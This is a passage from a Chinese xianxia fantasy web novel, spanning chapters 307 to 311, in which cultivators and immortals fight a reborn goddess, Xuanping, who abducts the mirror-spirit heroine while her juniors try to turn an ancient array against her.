旋娉忽然想起,最开始唤醒她的那股血液——精卫鸟的血脉,似乎正是出自幽冥宗两个小弟子的灵宠,叫什么皮皮来着……噢,难道说,正是她用禁术招来的精卫鸟? 虽说并非是那么大的作用,但无非是为她打开了一道门。 这确实算是报恩了。 思及此,旋娉看向寻鹰的目光变得柔和了许多,她温柔地笑道:“原来是这样啊,不枉我当年救了你……寻鹰,今日我真要多谢你。” 寻鹰感到难以言喻的激动和满足,她长久的努力和忍耐,仅仅需要这么简单的一句话便能全然解脱了:“我……” “你不要胡说!”邬芽注意到审视的视线,连忙为师祖辩解道,“我师祖、我们幽冥宗,都和你一点关系都没有!” 旋娉:“哦。” “邬芽!”寻鹰投去一个警告的视线,“注意你的态度。” 邬芽:? 桑九听了半天也忍不住了,这到底什么情况:“师祖……” 寻鹰:“闭嘴!” 桑九:?? 第308章 这些人在边上叙旧的功夫,不再吐血的石映心已经在师父和大师兄的帮助下恢复了许多……是真的恢复得很快,让慕雲都很诧异,给大徒弟使眼色传密音:“映心的灵脉是怎么回事?” 她大徒弟无法解释。 慕雲又看向石映心:“映心,你究竟隐瞒了什么?” 她三徒弟一脸无辜且苍白且可怜兮兮地说:“没有啊……师父。” 慕雲:…… 这一下竟然给她气笑了,她抿唇望着在三个师兄妹关怀下装得像个没事人一直在说“没事”的三徒弟,心中非常无奈和复杂;只是刚想问什么,脑海里又浮现出她方才疯狂吐血的可怖模样。 那是她第一次看见“失去”就在眼前。 在这个可能性之前,其他一切都不重要了。 她对这个三徒弟总是糊里糊涂的:糊里糊涂地捡到她,糊里糊涂地为她炼制了心脏,糊里糊涂地教会她人应有的情感,糊里糊涂地把她拉扯成一个能独当一面的天才剑修,糊里糊涂地目送她下山去做各种糊里糊涂的任务…… 究竟是她糊涂还是她徒弟糊涂呢? 算了,都不重要了。 一切糊涂的因果之中,唯一清楚明白的是:她不能失去映心。 “走。”慕雲对四个徒弟道,“我们回门派。” 石映心微愣,看向师父:“师父……” “有什么事回去再说。” 慕雲不听了,不管不顾地从大师兄手上接过三徒弟,召唤出御物宝器就打算带人上去。她二徒弟和小徒弟最支持这决定,连忙跟着上去;大徒弟似乎僵硬了一瞬,但并未说什么。 “喂,怎么招呼也不打一声就走了?” 后头有人在和她们说话,但慕雲头也不回,推着三徒弟上御物宝器。 “走就走吧,把我的人留下。” 慕雲深呼吸,正要说什么,却听大徒弟道:“师父你们先走,我随后就到。” “这像什么话?”慕雲瞪他一眼,“你是师父我是师父?” 明易此时做出了一个违背师训的决定,不再多说地拿出帝血剑来,转身朝旋娉道:“你和我师妹的帐——由我来和你算。” 石映心哪肯,就要下去却被小师妹拉住:“师姐,你吐了这么多血定是受了重伤,不要再逞强了!” 顾梦真看看大师兄又看看三师妹,完全无奈:“是啊,唉……” “你算什么东西?”旋娉当然也不肯,翻了个大白眼道,“把镜灵留下,你们这些人都滚远点!” 慕雲恍然看向旋娉:“镜灵……” “镜灵?”妽荼琢磨了一下,猛地想起什么,盯住石映心道,“你……难道你就是……天地之镜!?” 慕雲都未回神,只大喊道:“不是!” “她是天地之镜?”寻鹰也惊诧地看向当事镜,眼中露出一些恍然大悟,“难怪、难怪你能收容蚩尤的影神……难怪姐姐能借你重生……” 邬芽听得一头雾水:“师祖你在说什么?天地之镜是什么?” 寻鹰看向她,却是莫名笑了一声:“不愧是姐姐,我的准备和天地之镜比起来算什么?” 邬芽:OO “师姐。”桑九把她扯了过来,小声道,“我们不要管师祖了,自从那个叫什么旋娉的出现后她就怪怪的……我看我们趁机走吧!” 邬芽无法不回味方才师祖看她的眼神,那感觉实在奇怪,不像是在看一个她亲传师徒,而像是在看一个……宝器?还是派不上用场的那种。 “师姐?师姐!” 邬芽回过神来,朝师弟正色道:“桑九,你快去山外寻求支援,我留下帮映心她们!” 桑九已经无语到要气死了:“你觉得你打得过她们吗?那个旋娉……她来历不明、法术诡谲,竟能借影神重生!还有师祖对她的态度究竟是……不行,她太危险了!我们快走吧!” 邬芽:“对,你走啊!” 桑九:“你不走我怎么走?” 邬芽:“你如何不能走?” 桑九:“……” 简直无法沟通。 另一边也差不多。石映心不顾阻拦地跳下宝器,走上前道:“旋娉,你究竟想做什么?” 妽荼也从“震惊!我门下的弟子竟是天地之镜的镜灵转世”中醒悟过来……没招了这会还有更重要的事,比如解决某个大祸患:“旋娉,你千方百计地重生归来到底有什么目的!?” “问问问,我的好脾气都被你们问没了。”旋娉发了个白眼道,“这么好奇,那就等我达成目的之后——你们不就能知道了?” 好有道理……才怪。 妽荼冷笑一声道:“真叫你如愿以偿,怕是要天下大乱!我还有命知道吗?” “哈哈哈哈哈!哈哈哈哈……”旋娉一听就笑出声来:“妽荼,你还是那么了解我!哈哈哈哈——咦,你那个好姐妹呢?” 妽荼本想说“用不着你关心”,但却见旋娉朝她眨眨眼道:“哎呀,不会是被谷神森林缠住了手脚吧?这可怎么办,没了郁垒,仅凭你的神力……能对付得了我么?” 她怎么知道郁垒在…… 妽荼此时此刻怎会还不明白她的阴谋,登时气得咬牙道:“对付你?呵,你以为你还是当初那个旋娉吗?” 旋娉一直笑眯眯的眼神在听到这话时诡异地变了一瞬,但很快又恢复了原来的漫不经心,不过说出来的话似乎冰冷了一些:“有劳你为我忧心,即使不是,对付你妽荼还是绰绰有余!” “……那我们呢?” 二位大能对峙之外,顾梦真指着自己小声地问了一句:“加上我们如何?” 慕雲瞪他一眼,怒其还搞不清楚情况:“人家压根没把我们放在眼里!” “……噢噢,是哦。” 顾梦真也没想跑旋娉眼里去,不是很在意地挠挠脸,又注意到边上的小师妹:“换月,你在翻啥呢?小抄?” “你别管……” 曾换月忙活着呢,边上一直默默不吭声的天机阁二人走来道:“那个……有没有什么我和姬滢能帮得上忙的地方?” 慕雲才想起来这姐妹俩,便连忙道:“你们来得正好,快带着映心她们走!” 姬滢默了默:“这个不行。” 慕雲:……那帮啥忙! 与此同时另一边,妽荼已经和旋娉打了起来。就像某人说的那样,就算旋娉已经不是以前的旋娉,但——对付妽荼还是绰绰有余。 雪上加霜的是,寻鹰竟然上去帮忙了。 幽冥洲二人一开始还以为自己看错了,足足傻看了一会才确定——她们师祖怎么帮的是旋娉啊?这不对吧! 这下便有个很合时宜的问题:帮亲还是帮理?旋娉一看就不是好人……但那可是她们师祖;她来历不明,发言还毫不掩饰自己的危险目的……可那是她们师祖;这家伙甚至和天下第一名门正派的妽荼仙尊是死对头……可那是她们师祖。 师姐弟俩陷入了不合时宜的纠结。 这一边的慕雲就不纠结,见妽荼仙尊落了下风,叮嘱了大徒弟一声“快带映心走”,之后就飞去帮妽荼的忙。 明易想说什么但没来得及说,只能看了眼师父飞远的背影后转过身来,朝师妹师弟道:“我们走。” 石映心的手上已经握上了帝血剑,却不是御剑飞行的架势:“大师兄,你带换月她们走。” 明易眉心一跳:“不行。” 石映心道:“旋娉的目标是我,我走不了的。” “怎么会走不了!”顾梦真拉住师妹就往边上的御物宝器上走,“趁现在师父和妽荼仙尊拖延时间,我们赶紧……我去!” 他话音未落,石映心就把他往边上一扯,躲过了身后飞来的一击——旋娉的法术砸在顾梦真的御物宝器上,并没有多大的动静,但快准狠地直击命门、让宝器直接报废。 顾梦真:O0O…… “她根本不知道这个宝器有多贵!耗费了我多少心血!”器修气得跳了起来,“此仇不报非、非……算了,还是活着要紧,我们走!” 石映心觉得不需要这样无畏的牺牲了,不管是人还是宝器。于是她将手扯回来,转身朝旋娉飞去。 “欸欸!” “映心!” “师姐!” 曾换月一惊,正想追着师姐而去,但因慌里慌张而弄掉了手上的纸张,连忙蹲下来胡乱地捡,余光看见有两双手在帮忙,是天机阁的两位道友。说起天机阁,便让她想到了偷天神阵…… 说到偷天神阵,唉…… “换月,”她抬起头来,姬滢手上拿着一张乱七八糟、看起来很潦草的纸,“这图上画的是……你们归壹派的阵法?” “不是——额,是!”曾换月一抖,飞快地将她手上的纸抽了回来,紧紧攥在手上,朝姬滢讪讪一笑,“那什么,这些只是我的草稿,乱画的,哈哈。” 姬滢定定看着她明显心虚的神情,平静道:“我已经记住了。” 曾换月:哦,是吗? 她才不信呢。 可对方看着她一脸不信的神情,顺手在空中比划了几下,竟然真的画出了那阵法的一角,惊得曾换月瞪大了眼睛:“不是,姬滢你居然过目不忘啊?” “没那么厉害。”姬漓在边上笑眯眯地为妹妹解释道,“一般过两目就记得差不多了。是吧姬滢?” 姬滢微微颔首:“嗯,同一起源的阵法都有神似之处,只要熟练后便能融会贯通,不足一提。” 曾换月:够了!真是够了! 她这会没心情羡慕嫉妒恨,收起纸张就要去帮忙,但一站起来才意识到什么,蓦地朝姬滢望去,和她幽幽的目光对上了视线:“你、你刚刚说……什么?” 第309章 姬漓左看右看:“什么?” “不是,你妹刚说……” “换月,”姬滢轻轻吐了口气,朝她扬起一个很浅的笑,“原来我们要找的是你。” 花开两朵各表一枝……开得太多就说不过来了。 石映心加入战局后,旋娉明显有些畏手畏脚。妽荼等人很快看出来:她不敢轻易伤害石映心。 毕竟是天地之镜……对,本应是坚不可摧的绝世宝器,但如今却是凡胎肉身;即使已是化神期的修士,但和天地之镜本体相比,真是太脆弱了。可就算旋娉“手下留情”,也太难对付。 而这会的情况是:慕雲牵制着寻鹰,妽荼在石映心、明易的帮助下勉强抵御旋娉的进攻;顾梦真在边上见缝插针地使用宝器帮忙,但大多数都是白费力气浪费灵石;至于幽冥宗二人,她们本觉得不帮忙就是在帮忙了…… 别想闲着。 度朔山上“神仙打架”,引发的地底下不少孤魂野鬼的躁动;在桃树鬼门周边一个接一个地冒出许多失去理智的鬼来。 现在的情况本就一片混乱,邬芽和桑九又看曾换月那边几位道友似乎在忙活着什么,想着不能让它们平添麻烦,二人便忙不迭地处理着这些野鬼,想着这算是帮正经的忙了吧? 铮! 眼看致命一击就要打在妽荼身上,帝血剑却挡在之前;旋娉微微眯眼,很是不爽地将招式收回,咬牙切齿道:“小镜灵,别妨碍我!” 石映心还能听她的? 妽荼看了看面前的剑修,正想说什么,却猛地捂住心口,微微张开的嘴角顺势流下血来。 明易微惊:“妽荼仙尊,您没事吧?” 妽荼习惯了逞能,深呼一口气压制住动荡的灵脉,朝二人使眼色传密音:“你们还不快走?!” 石映心却微微摇头道:“该走的是你们。” 妽荼通红的眼睛瞪她:“我岂是让小辈留下应敌、独自逃窜的小人!?” “不要做傻事了。”石映心无奈地看看妽荼,又看看她两个师兄,“我们打不过旋娉,留下不过是徒增伤亡。” 妽荼:“谁说本尊打不过……咳咳!” 石映心:OO “妽荼。”不远处的旋娉说话了,和疲累的几人比起来,她像个没事人一般,但语气确实有些不耐烦,“我也没想杀你、哦,你们,为何你和郁垒要缠着我不放呢?” “咳……”妽荼擦去嘴角的血,穿过剑修的肩膀看向前方,“我与郁垒自降生于世,便受女娲之命维护天地秩序、世间安宁,如何能放任你等目无法纪者肆意妄为!?” 石映心等人诧异地看向妽荼,所以其实…… 她和郁垒便是传闻中镇守度朔山的两位神祇? 倒也是在……情理之中。 “哈哈哈哈哈!”旋娉高调的嘲笑声中似乎有些咬牙切齿,“是!你们二神真是了不起——了不起的女娲走狗!自古以来为她立下了不少赫赫之功啊!上能牵制蚩尤姬有熊之战、镇压战神不屈之魂;下能扮作修仙人士为天下四处奔劳……” “甚至——”旋娉露出一个怀恨在心的笑容,“弑杀新神!” “不错!”妽荼听此也笑了,笑得无比畅快,也不管满口流血了,“哈哈哈哈!千百年过去了,你竟依旧如此愚昧!旋娉啊旋娉,神岂会被杀?当初我与郁垒能弑神,只是因为你,旋娉——根本不配为神!” 一言掷下,有山间回声。 这些话五雷轰顶般打在众人头上,就连缠斗中的慕雲、寻鹰二人都忍不住停下动作,投来探究的目光。 寻鹰若有所思:“原来姐姐当初真的……可为何……” 慕雲一头雾水:“什么玩意?说的是一个事儿吗?” 众人千头万绪,但又无法多问,于是造成了好一会的死寂。 死寂中,石映心默默看着旋娉,她其实能感应到对方的思绪,所以知道她的此时的心情并不是他人所期待的感受:生气?悔恨?统统不是;又因为太明白她,竟然很能理解她为何会有这样的心情。 其实也是复杂的,没有人有单纯的情绪,但大致概括一下是: 不屑。 旋娉不屑成神。 听她轻笑一声道:“我?愚昧?在场这些无名鼠辈、孤魂野鬼——都比你妽荼更有资格对我说这句话!” 轻飘飘的话后是猛烈袭来的暴击,以妽荼这会被她消耗后的情况完全不能抵御,可她依旧打算咬牙坚持;只不过比她更快的是她的好弟子们。 刺目的灵力击穿顾梦真及时扔出的宝器之后被分散成两半,算是分散了火力,正巧由两位剑修挡下。不过一打二对旋娉来说也是小意思,她轻哼一声,不过是随手添了一把火,两个剑修就被打飞了出去。 “救命啊!”顾梦真下意识叫了一声,却想不到谁还能救命了,于是拿出星月葫芦对妽荼仙尊说,“妽荼仙尊,我叫一声,您记得应啊!” 妽荼挥手把葫芦拍飞:“我妽荼宁死不做苟且偷生之徒!” 顾梦真(O0O):……我真服了。 他紧忙去追被拍飞的星月葫芦,能救一个愿意苟且偷生的就救一个呗,实在不行他自个进去!总不能——还没花完辛苦存的灵石就这么死了吧? 那么他将成为幽都最难解怨的守财鬼! 明易吐了几口血,用寒竹剑撑起身子,抬眼看向被拍飞到另一个方向的师妹,见她并无大恙便送了口气,挪着视线去看旋娉。 回忆中的画面再次袭来,明易想到了上一世的死亡,心脏因此刺挠着开始作痛。 不行…… 不能重蹈覆辙…… 他绝不会让映心再受旋娉的摆布! 可有这心是一回事,无力又是一回事。哪怕明易已不是上一世的无能剑修,但在旋娉面前似乎没什么差别——难道他今生对增长修为的执念正是来自于此吗?明易后知后觉。 旋娉这会已经玩够了,自认为已经尽到了和旧人寒暄的情谊。虽然她胜券在握、并不着急,但方才妽荼确实让她有些生气,她便不太想和这些蠢蛋纠缠了。而她从始至终的目的、唯一看在眼里的存在只有一个—— 天地之镜。 可她了解小镜灵,若是硬着来,不管是她还是那些在意她的蠢蛋们都不会轻易算了,而她要是一不小心伤了谁杀了谁,小镜灵定会破罐子破摔……这不是个好办法。 不如…… 思及此,旋娉的嘴角扬起一抹邪恶的笑容,慢悠悠地伸出手去,掌心升起的一团灵火正对着小镜灵的小情人、大师兄——明易。 “旋娉。” 她果然主动对她说话了:“你不是要找我?” 旋娉歪过脑袋,一脸为难地看着她:“是,是,我要找的当然是你,一直是你;可这些不识好歹的人总是在你我之间阻碍着,你又不表个态……情况这么暧昧,叫我也不知如何是好呢?” 石映心没看任何人,只看着旋娉,对她笑了笑:“我能对付你。” 旋娉也笑了:“只有你能。” 说罢,一手将手上的灵火球扔出、牵制了蠢蠢欲动的明易;另一手将石映心捉来,带着她直直往天上飞去——“走!” “映心!” 众人只听一阵放肆的笑声,消失在度朔山外的水雾之中。 明易就要追上去,却被他二师弟拦下,将他的胳膊拉扯得好疼,转头正要发作,却见是自己的袖子上还燃着旋娉的灵火;对方一边帮他拍打着扑火一边絮絮叨叨胡言乱语:“烧着了也不知道烫!追上去有什么用?给映心添乱罢了!” 明易:…… “大师兄,”顾梦真叹了口气,看着大师兄的眼神很无奈,“你可不能这么稀里糊涂晕头转向啊,清醒一点想想办法吧!我可指望着你……振作起来!” 他拍了拍明易着火的胳膊,疼得对方一激灵,倒是回过神了,直接将袖子扯掉,下一瞬便换了一套干净的衣服:“凭我之力确实不能如何……你去关照妽荼仙尊,我先去帮师父。” “啊?你不知道妽荼仙尊可犟……欸欸!”顾梦真看着大师兄已经朝慕雲和寻鹰飞去的身影,十分不满,“话也不听人说完!” 转眼又瞄到什么:“……咦,她们在干嘛?” 曾换月正在和姬家姐妹研究阵法,她们在地上涂涂画画,企图找到换月神阵和偷天神阵的关联之处。三人深知凭借她们的力量就是燃尽了也打败不了旋娉,便打算另辟蹊径、试图从神阵中找到制敌的办法。 可她们的情况怎么说呢,就像是学会了公式但不会用,也像是凡人拿了绝世宝器——只能干瞪眼;毕竟神阵是上古时期的“教材”,与她们相差了太久。 别说启动阵法了,就是启动成功了也无法驾驭,那怎么敢启动啊,要是引发未知的可怕后果怎么办? 更何况姬滢也并非对偷天神阵有多少了解——她这会看的版本还是先前去画中结界时,曾换月偷摸着从常曦那抄下来的……好了现在不是批判某人大胆行径的时候,姬家姐妹很快从离谱的震惊中回神,忙活着当务之急。 潦草的地面上,是两个阵法大致的草稿模样。曾换月不确定地问姬家姐妹道:“你们说的法子可行吗?” “不确定,”这么说着,她居然点了下头,“不过这是结合目前所有的线索后形成的一条大概率可执行的路径。” 她说的线索是:曾换月的换月神阵,抄来的且不知是否正确的偷天神阵,以及姬滢手中罗盘中蕴含的偷天神阵的一些神力。 第310章 这神力是她师父妙望得她们要去找归壹派石映心,在天机阁情况不妙时也要冒险启动偷天神阵为她们留存下的一些神力。因为月神不可能出错。 而如今姬滢说的路径是:因为月神神力来自偷天神阵,那么她们便能通过罗盘中的月神神力启动偷天神阵;又因为换月神阵和偷天神阵同源异流,那么就能再通过偷天神阵启动换月神阵。 听着非常有道理,但也有一些致命的不确定问题,比如: 曾换月抄来的偷天神阵是真的; 曾换月画的换月神阵没出错; 曾换月在换月神阵启动成功后知晓该如何使用——比如送走旋娉。 而罗盘中的月神神力在帮她们找到石映心之后,残存不多,可一而不可再。 曾换月:亚历山大,香菇。 她其实觉得自己完全不能堪此大任,但也做好了硬着头皮上的准备,总之——她得救她师姐。 方才犹豫之时瞧见她师姐被旋娉带去了天上,急得她立刻下定决心:“好,那就试试吧!” 姬滢和姬漓也郑重点头道:“好,我们帮你。” 三人一鼓作气,正要启动罗盘,这时顾梦真飞过来了,还带着面色苍白的妽荼:“你们在干嘛呢?” “正事。”解释起来太麻烦,曾换月便不打算解释,“你在边上小心看着。” 顾梦真挠挠头,符阵的事儿他真不懂:“哦……那我先带仙尊去休息。” “这是……”妽荼仙尊扒拉开他,走到漂浮在地上的两个草稿阵法前,不太确定道,“……换月神阵?” 曾换月听了一愣,一时自己都没反应过来:“嗯?嗯……是换月神阵……对……不对,这不对吧?” 她恍然想起,换月神阵难道不是她为秘境中遇见的阵法取的名字吗,按理来说……只有她和方才告知过的姬滢姬漓才知道的啊,为什么妽荼仙尊会…… 这会妽荼还问她呢:“你怎么会知道换月神阵?” 曾换月脑子一片空白,茫然地指着自己:“可能是因为……我叫曾换月?” 妽荼:OO 曾换月:OO 氛围一时很诡异,就连边上的顾梦真三人都觉得很离谱:巧合?这太巧合了;阴谋?那很阴谋了。 打破死寂的是妽荼,她先是很不解地喃喃道:“曾换月……换月,为何我先前从未察觉?” 说罢又看向曾换月,复杂的神色在她苍白的脸上如此清晰:“换月神阵……是旋娉千百年前自创的阵法。” 众人:O0O “等等……什么意思啊。”曾换月扯起一个荒诞的笑来,“你说这个阵法是……旋娉创立的?她这么有本事啊哈哈……” 默了默道:“我的意思,和我有什么关系呢?大概只是同名的巧合啦,世上叫换月的人这么这么多……难道,只是因为名字的巧合,我才学得了换月阵法,才……在几年前……” “原来当初那个小孩是你。”寻鹰走上前来,嘴角两边挂着血,佝偻着身形看着受了重伤,“就是你闯入了我的换月神阵,破坏了我的召唤……” 顾梦真已经完全听不懂了:“什么啊?什么小孩?她说的是你吗?换月?” 天机阁二人才是一头雾水。 曾换月也不知如何反应。 这时慕雲和明易也来了,二人瞧着比寻鹰好一点,只有一边的嘴角挂着血。一听寻鹰的话,慕雲就怒道:“原来几年前就是你让我的小徒儿失忆?寻鹰,你我之间的账真是算不清了!” “真是冤枉,”寻鹰叹了口气道,“是她自己闯进来的。” 慕雲:“你好端端地来我们归壹派的过梦崖搞事做什么!?” 寻鹰:“岂是我乐意的?这是女娲神力的指引……” “少来!” “实话实说罢了。” 别吵了。曾欢月想,别吵了呗。她已经什么都不明白了。她究竟是谁?来自哪里?和换月神阵又有什么关系? 这一切究竟是…… “曾换月,”妽荼唤了她一声,眉目深皱道,“不管如何,如今只有你能绘制换月神阵;当初旋娉正是因此得到了成神的机缘。那么,换月神阵能送她成神,便能将她拉下神坛!” 曾换月通红而失神的目光看着她,好像又是在看谁:“……我吗?” “你,还有我们。”她大师兄道,“换月,我们会帮你。” “对啊!”二师兄说,“虽然你这家伙不是很靠谱……但是为了映心,你不行也得行!” 为了师姐? “你们休想!” 幽冥宗师姐弟见大伙聚在一起,还以为重归于好了呢,结果一跑近就听到她们师祖又在大放厥词:“我好不容易重见旋娉姐,岂能让你们伤害她!?” 幽冥宗二人:?? ……算了还是回去打鬼吧。 “好啊,”慕雲的神情瞬间变得狠厉,“寻鹰,这次我可不会再手下留情!” 寻鹰瞥她一眼,二话不说就往天上飞去,忽然有大团的黑雾笼罩着她的周身,黑雾中慢慢浮出了一个月亮和一个太阳,和方才照影术时的日月有些肖像,但瞧着非常不详。 “师祖!”邬芽猛地驻足,抬头朝寻鹰喊道,“师祖请三思!” 妽荼眉心一跳:“这又是什么禁术?烦死了!” 明易的视线从浮现的日月往下看去,瞧见一片狼藉的山地上出现了几道黑得不寻常的影子,是他们的影子。 “别被光照到!”他急忙惊醒众人,“她要控影!” 话毕喷出一口血来,是他自己破了控制,剑修挥手在空中释放剑招吹雪凝霜,大片的雪花一时遮挡了日月,刚被控制没多久的大伙急忙脱身,在一片白茫茫中无处躲身。 这时却见邬芽雪中送炭地捧着火跑来,焦急道:“我的火光只能断绝师祖的一小片日月,可护一人!” 她身后还跟着桑九:“我的水也是!” 妽荼立刻有了主意:“你们护着绘制神阵的二人,由我来对付寻鹰!” 她被旋娉打得够惨,这会估计也够呛;慕雲和明易不作声反驳,只跟在她身后前去;以她们三人的修为,倒是能事倍功半地抵御寻鹰的阴谋禁术。 总之很热闹。 旋娉看得乐呵,转头朝镜灵道:“人间就是这般有趣,你也觉得是么?不然为何……贪恋做一个凡人呢?” 云层之上,一片雾蒙蒙,仿佛不是人间。 石映心站在边上,看着旋娉变出的镜子中的景色,没什么情绪道:“不是因为有趣才做凡人。” “哦,那是为了什么?” “不知道。”石映心想了想,“我不清楚。世上那么多活得一塌糊涂、活着不如死了的人,可她们还是贪恋活着。旋娉,你说为什么?” 旋娉无所谓一耸肩:“我怎么知道?我只要活着便能活得好,只要有机遇便能大获成功……不管我生在何时,都是天生我材,举世无双!哈哈哈哈哈……” 说到后边给她自己说高兴了。 石映心望着她得意的笑脸,也笑了笑道:“那么为何执着以‘旋娉’的身份活着?” 旋娉闻言,转来看她:“聪明的小镜灵,你很好奇?那么……照一照我不就知道了?” 小镜灵微微摇头道:“不照你我也知道。你不过是舍不得‘旋娉’身上的女娲神力。你很清楚,一旦转世再生,即使依旧天生我材、身附女娲神力,也不会有‘旋娉’这样得天独厚的天资。” “天资?”旋娉关注了这个小小的点,“不错,正是天资!天赐的资质,得天独厚的恩赏!” 她看向石映心道:“不管是你,明易,曾换月,顾真梦……” “顾梦真。” “随便谁,无所谓是顾不醒是顾真梦还是顾梦真。”旋娉一挥手,不甚在意,“你们这些修仙者能到如今的境界,也不过是仰仗天资。那些在低阶苦苦挣扎的人难道没有你们辛勤努力?而你身为天地之镜的转世,天资卓越才是理所当然。” 石映心补上她的话:“不过,和千百年前的你相比却是天壤之别。” “哈哈哈哈,不错!”旋娉又笑起来,“我便是这般厉害!” 石映心默默笑着看她。 二人互为一体多年,其实只需静静看一眼,便能轻易解读彼此的所思所想。 旋娉看着她的笑容,轻笑一声道:“你说得完全不错,我是舍不得‘旋娉’身上的女娲神力。当我参透这世间的因果轨迹,便明白了自旋娉之后,我再无可能取得那一世的辉煌成就!” “你说,这叫我如何……”旋娉竟然对她露出无奈的表情,“甘心呢?” “怎么会不甘心。”石映心反问道,“当你不是旋娉之后,便不会有‘不甘心’的心情。” “就像你不记得自己是天地之镜后就不再把自己当镜灵?”旋娉大笑着反驳她,“哈哈哈哈哈!可你的照人之术还在,你的心镜还在!但没有了心镜,你——石映心,便不复存在!” 石映心:OO “小镜灵,”旋娉对她摇了摇脑袋,一副对晚辈谆谆教诲的模样,“记忆不能代表什么,你身上的因果却还记得生生世世的执念!” 石映心:OO 她一时不知说什么,却见旋娉一挥手,空中浮现了一块镜面,其中是两个年轻女子的模样。旋娉问:“小镜灵,还记得她们是谁么?” 石映心看看左边的女人,又看看右边的女人,是不同的打扮,但她认出来了:“邓晴。” 旋娉又一挥手,镜面中再次出现了两个女子:“这二位呢?” 石映心道:“右边的是何碧薰,左边的不认识。”【】 310-319 第311章 旋娉一笑,镜面再次变换,这次出现了两个小女孩。石映心瞅了眼便有记忆:“唯唯。” 顿了顿补充道:“一只眼版,和两只眼版,不同世的唯唯。” 这么说完又是一顿,后知后觉意识到什么,再次补充道:“唯唯的情况特殊,海螺村是因为在泉绮的秘境中,所以……” “哈哈哈!”旋娉却不听她解释,将镜面变回最开始的两个女人,指着两个邓晴道,“这是前世的邓晴,这是这一世的邓晴,你如何没认出来?” 石映心:。 镜面又变成何碧薰,旋娉又道:“这是你见过的何碧薰,这是在你们帮她了解执念后投胎转世的何碧薰,你如何没认出来?” 石映心:…… 什么如何,她才觉得无语嘞:“一个长得相像,一个完全不像,分明是你在误导我。” “我在误导你?”旋娉这下真是高兴地笑了,忽地把画面抹除,将镜面对准了她,“那你仔细看看——这是什么镜子!” 石映心和镜面中的自己对视上,心脏猛地一跳,忍着没动。 旋娉戏耍她后得意的声音在她耳边徘徊:“这是天地之镜!镜面中所显,皆是你——石映心看到的人魂!” “如此你还有什么好辩解的?”旋娉捏着她的脸,“今日方知我不是我,那么我是谁?” 石映心一把将她的手挥开:“听不懂你在说什么。” “听不懂还是不想懂……都不重要。”旋娉笑眯眯道,“总之你已在我的阵法之中,不过多时,我便能借天地之镜重生……哈哈哈哈哈!” “阵法?”石映心抬眼看她,“什么阵法?” “喏。”旋娉朝边上的镜中画面抬了抬下巴,“你的好师妹正在画的换月神阵。以我如今的力量自然无法启动,不过借她和妽荼还有那些杂七杂八的修士的力量倒是可行……届时我再驱使阵法转换你我,大功可成!” 说到这她的笑声越发嘲讽:“她们还以为能用换月神阵杀了我,可我才是神阵的主人——控制神阵易如反掌!哈哈哈哈哈!” 石映心听得眉心狂跳,一时有些生气,但又明白自己生气是因为被她玩弄于鼓掌,究其原因气的是自己的无力,便没有发火,只是冷飕飕道:“你真厉害,所有一切都在你掌握之中了,旋娉。” “不错,”旋娉顺势应下这份荣誉,“所有一切尽在我掌握之中。” “那么,”石映心看向她,“在我……变成镜灵之前,告诉我你到底想要做什么?” “一言难尽。”旋娉似乎苦恼地摇了摇头,“真的难尽,你知道我讨厌这些麻烦的事; 不过倒是有一个很方便的办法……你知道的,小镜灵。只要你愿意,我当然十分配合。” 石映心抿了抿唇。 见她不说话,旋娉也无所谓啊:“对,你也不用着急,等你重为镜灵,回到我心镜之中……自然就明白一切。” 那很糟糕了。 可情况就是这么糟糕。 已知她打不过旋娉,如果要打过,必定借助照人之术,但一旦用照人之术,相当于直接对旋娉说“来来夺舍我吧”;更可恶的是就算用了照人之术,也不过是达到和旋娉相同的修为……于是只有同生共死这一条路。 难道真的没有破局的办法了? 石映心的思绪千回百转,目光不自觉地落在了镜面之中,看见她的师父大师兄还有妽荼仙尊正在和寻鹰大战三百回合;她二师兄忙忙碌碌地左帮右帮,她小师妹和姬滢姬漓正在邬芽、桑九的帮助下绘制换月神阵…… 换月神阵…… 换月神阵? 换月? 这难道是巧合?还是说…… 【她们还以为能用换月神阵杀了我,可我才是神阵的主人——控制神阵易如反掌!哈哈哈哈哈!】 石映心有了一个大胆的想法。 可是在此之前,这一路走来……她实在有很多疑问需要旋娉解答。 石映心抬头看向面前之人:“旋娉,你是不是觉得自己的重生是天意?” 旋娉正无聊地等着换月神阵绘制完成呢,这些家伙的速度真是慢的不行,好在千百年来她被迫地多少修炼了一些耐心;等待的这会和她的亲亲小镜灵说些话倒是能解闷:“哦呦,你也发现啦?” “是。”石映心说,“不管是归壹派的万事树因果牌,还是我们遇见的泉绮帝俊常曦雷神等神祇,似乎都在等你归来,为我……其实是为你,提供女娲神力;这并非你的阴谋可控。” 旋娉哼哼笑了两声,有些意外地看向她:“你真聪明,比我想象的还要聪明。这些是你照出来的吗?” 聪明的石映心话锋一转:“不错。所以我知道,她们想要的并非是你,而是你将带来的一切……你……不,是女娲神力将带来的一切。” 旋娉:“是什么?” 石映心却微微摇头:“我还不清楚,所以问你。” “你猜猜嘛。” “猜不出来。” “那你照呗。” “……没这么着急。” 旋娉就笑眯眯地看着她,她已经感到换月神阵的召唤,自觉大功将成,因此心情颇好地和小镜灵玩起了游戏:“看在你是天地之镜的份上,我为你提供三个线索。” 石映心乖乖点头:“嗯嗯。” “一,”旋娉竖起一根手指头,“想想你这几次任务的主人公。” “二,”旋娉竖起两根手指头,“想想一切的因果根源,别看她们解决了什么,而是什么造成了一切。” “三,”旋娉竖起三根手指头,“想想这些神祇的失落。” 石映心想了一瞬,很快坦白道:“想不出来。” “噢!差点忘了,”旋娉也不觉得她敷衍,贴心地说,“这一程还未走完,你还不知道炎帝女娃的故事呢。” 石映心一愣:“什么故事?” 旋娉打了个响指,空中便浮现了一幅幅的画面,配上她在边上漫不经心的解说,为石映心演绎了精卫填海故事后的真相:“还记得你们进到常曦的画中结界的遭遇吗,羲和部落跟随蚩尤大战姬有熊,不幸战败后被异族人趁虚而入,只好举族迁移……” “当时那些异族人本想借机占领羲和部落的原东夷领地,可惜被姬有熊抢先,于是只好暂时搁置计划,回到了东海一带;不过此事意味着什么你可曾想过?为何那些受压制的异族人竟敢有趁虚而入的心思?” 石映心之前对这些过往的故事只是听听,并不深想,但这会想也来得及:“除了蠢货,人的胆子应有实力支撑;说明他们认为自己有足够的实力……异族人一直暗处发展?” “不错。”旋娉微微颔首,“当时姬有熊和蚩尤一直在北地缠斗,眼中只有彼此,无暇顾及当时还不足为惧的异族部落;后来蚩尤战败,姬有熊忙着收复东夷人心,无心南望,这长期的漠视,竟叫他们大肆发展……” 